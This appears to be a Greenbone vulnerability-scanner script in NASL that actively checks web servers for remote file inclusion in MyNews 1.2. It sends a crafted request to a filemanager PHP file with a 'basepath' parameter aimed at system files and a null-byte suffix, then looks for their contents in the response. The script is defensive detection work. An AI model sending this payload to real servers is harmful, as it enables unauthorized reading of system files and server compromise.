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MyNews <= 1.2 Multiple RFI Vulnerabilities - Active Check

🗓️ 29 Sep 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
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MyNews <= 1.2 Multiple RFI Vulnerabilities - Active Check. Application fails to sanitize user input, allowing remote file inclusion

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# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103281");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-09-29 13:17:07 +0200 (Thu, 29 Sep 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("MyNews <= 1.2 Multiple RFI Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"MyNews 1.2 is prone to multiple remote file inclusion (RFI)
  vulnerabilities because the application fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting these issues may allow a remote attacker to obtain
  sensitive information or to execute arbitrary script code in the context of the Web server
  process. This may allow the attacker to compromise the application and the underlying computer.");

  script_tag(name:"affected", value:"MyNews version 1.2 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49818");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/105352/mynews12-rfi.txt");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) )
  exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/mynews", "/news", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  res = http_get_cache( port:port, item:dir + "/includes/tiny_mce/plugins/filemanager/classes/FileManager/FileSystems/ZipFileImpl.php" );
  if( res !~ "^HTTP/1\.[01] 200" )
    continue;

  foreach file( keys( files ) ) {

    url = dir + "/includes/tiny_mce/plugins/filemanager/classes/FileManager/FileSystems/ZipFileImpl.php?basepath=/" + files[file] + "%00";

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

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